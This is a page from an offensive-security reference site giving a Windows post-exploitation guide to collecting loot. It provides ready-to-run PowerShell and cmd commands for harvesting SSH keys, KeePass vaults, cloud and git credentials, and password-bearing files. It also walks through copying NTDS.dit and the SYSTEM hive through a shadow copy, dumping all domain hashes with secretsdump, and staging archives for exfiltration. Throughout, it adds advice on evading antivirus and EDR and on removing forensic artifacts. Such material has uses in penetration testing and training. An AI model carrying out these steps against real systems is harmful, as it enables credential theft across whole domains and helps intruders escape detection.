# Windows File and Data Loot Collection

> Techniques for locating and extracting sensitive files, credentials, and user data from compromised Windows systems during post-exploitation reconnaissance.

- **URL:** https://hackindex.io/platforms/windows/post-exploitation/windows-file-and-data-loot-collection
- **Path:** Windows > Post-Exploitation
- **Up:** [Post-Exploitation](https://hackindex.io/platforms/windows/post-exploitation.md)
- **Published:** 2026-04-04
- **Updated:** 2026-07-14

After gaining elevated access, collect high-value files before moving laterally or establishing persistence. Focus on credentials, SSH keys, configuration files, databases, and sensitive documents. Work quickly: prioritise high-signal sources over exhaustive searches.

High-value targets to prioritise:

- SSH private keys (`id_rsa`) for direct lateral movement to other hosts
- KeePass databases (`.kdbx`) containing full credential stores
- AWS/Azure/GCP credentials with IAM permissions beyond the local machine
- Git credential files with cleartext tokens or passwords for repositories
- Configuration files with database connection strings or API keys

If you find `id_rsa`, check `authorized_keys` in the same directory to understand which hosts accept that key. KeePass databases require the master password to open, but stage them anyway. The password is often reused or stored nearby. AWS credentials under `.aws/credentials` may carry IAM permissions far beyond the local machine. Run `aws sts get-caller-identity` from your attacker box to check the effective role.

## Interesting file locations

Start with known locations before running broad searches. These paths reliably contain credentials and sensitive data across most Windows environments. The recent files shell command shows what the user accessed last. This reveals active work and often points to paths you have not checked yet.

**High-value file locations**

```powershell
# SSH keys
dir /s /b C:\Users\ | findstr "\.ssh"
dir C:\Users\*\.ssh\
type C:\Users\$env:USERNAME\.ssh\id_rsa

# KeePass databases
dir /s /b C:\ | findstr /si ".kdbx"

# VPN and remote access configs
dir /s /b C:\ | findstr /si ".ovpn .rdp .pcf"

# Git credential store
type C:\Users\$env:USERNAME\.git-credentials
type C:\Users\$env:USERNAME\AppData\Roaming\GitHub\credentials

# AWS and cloud credentials
dir C:\Users\$env:USERNAME\.aws\
type C:\Users\$env:USERNAME\.aws\credentials

# Recent files (opens last accessed documents)
(New-Object -com shell.application).NameSpace('shell:recent').items() | Select-Object Name, Path
```

## Searching for sensitive files

When targeted searches come up empty, run broader pattern-based searches. Keep searches focused on user-controlled directories to avoid generating excessive noise and slow results.

The `findstr` output shows matching filenames only when using `/m`. Remove `/m` to see the matching lines and their content. In the PowerShell output, check the `Line` column. Credentials hardcoded in `.ps1` or `.bat` files are a common find in scripted environments. Recently modified files show active work. A file modified in the last seven days is more likely to carry credentials still in use. Recursive searches across `C:\` are loud. They generate heavy disk I/O and can trigger heuristic AV alerts. Limit recursive content searches to `C:\Users`, `C:\inetpub`, and other known writable paths to stay quieter.

**Pattern-based file search**

```powershell
# Search for files containing password strings
findstr /s /i /m "password" C:\Users\*.txt C:\Users\*.xml C:\Users\*.ini C:\Users\*.ps1 C:\Users\*.bat

# Search by filename patterns
dir /s /b C:\Users\ | findstr /si "pass cred secret token key config"

# PowerShell recursive search with content matching
Get-ChildItem -Path C:\Users -Recurse -Include *.txt,*.xml,*.ini,*.ps1,*.bat,*.config -ErrorAction SilentlyContinue | Select-String -Pattern 'password|passwd|credential|secret' -CaseSensitive:$false | Select-Object Path, LineNumber, Line

# Find recently modified files (last 7 days)
Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue | Where-Object {$_.LastWriteTime -gt (Get-Date).AddDays(-7)} | Select-Object FullName, LastWriteTime | Sort-Object LastWriteTime -Descending | Select-Object -First 50
```

## Active Directory database (NTDS.dit)

On domain controllers, `NTDS.dit` contains every domain user's password hash. This is the crown jewel of an AD engagement. The file is locked by the AD DS service while running, so it requires extraction via VSS (Volume Shadow Copy).

You need both `NTDS.dit` and the SYSTEM hive. The SYSTEM hive holds the boot key that decrypts the database. Secretsdump cannot parse hashes without it. After copying both files to your attacker box, secretsdump outputs hashes in `username:rid:lmhash:nthash` format. The NT hash is the usable part. Pass it directly with Pass-the-Hash without cracking, or crack offline with hashcat mode 1000. NTDS.dit extraction requires Domain Admins or Backup Operators membership. If the VSS creation command fails, verify your token has `SeBackupPrivilege`. Some environments disable VSS via policy. In that case, use `ntdsutil` with the `activate instance ntds` and `ifm create full` subcommands to produce a clean copy. Creating a shadow copy generates Windows event 8222 and the subsequent file copies generate events in the shadow volume. This is noisy on a monitored DC.

**NTDS.dit extraction via shadow copy**

```powershell
# Create a shadow copy
vssadmin create shadow /for=C:\

# List shadow copies to get the shadow copy path
vssadmin list shadows

# Copy NTDS.dit and SYSTEM from shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Windows\Temp\system.hiv

# Cleanup shadow copy after extraction
vssadmin delete shadows /shadow=<shadow-copy-id> /quiet
```

**Extract all domain hashes from NTDS.dit**

```bash
impacket-secretsdump -ntds ntds.dit -system system.hiv -hashes lmhash:nthash LOCAL

# Output all hashes to file
impacket-secretsdump -ntds ntds.dit -system system.hiv LOCAL > domain_hashes.txt
```

## Staging and compressing for transfer

Before exfiltrating multiple files, stage and compress them into a single archive. Smaller transfers are faster and generate fewer connection events.

`C:\Windows\Temp` is a reliable staging location but some EDR products monitor it. User temp directories or existing directories with many files are quieter options. After the transfer, delete the archive. Also delete any shadow copies you created during NTDS.dit extraction. Shadow copies persist across reboots and leave an obvious artifact if someone reviews the DC.

**Archive and compress files**

```powershell
# Compress with PowerShell (built-in, no tools needed)
Compress-Archive -Path C:\Windows\Temp\loot\ -DestinationPath C:\Windows\Temp\loot.zip

# Add files to existing archive
Compress-Archive -Path C:\Windows\Temp\sam.hiv -Update -DestinationPath C:\Windows\Temp\loot.zip

# Compress single file
Compress-Archive -Path C:\Windows\Temp\ntds.dit -DestinationPath C:\Windows\Temp\ntds.zip
```

Once files are staged and compressed, transfer them to your attack box. For all transfer methods see [Transferring Files to and from Windows](https://hackindex.io/platforms/windows/post-exploitation/transferring-files-to-and-from-windows). For how to use extracted hashes for lateral movement see [Pass-the-Hash and Pass-the-Ticket](https://hackindex.io/platforms/windows/lateral-movement/pass-the-hash-and-pass-the-ticket).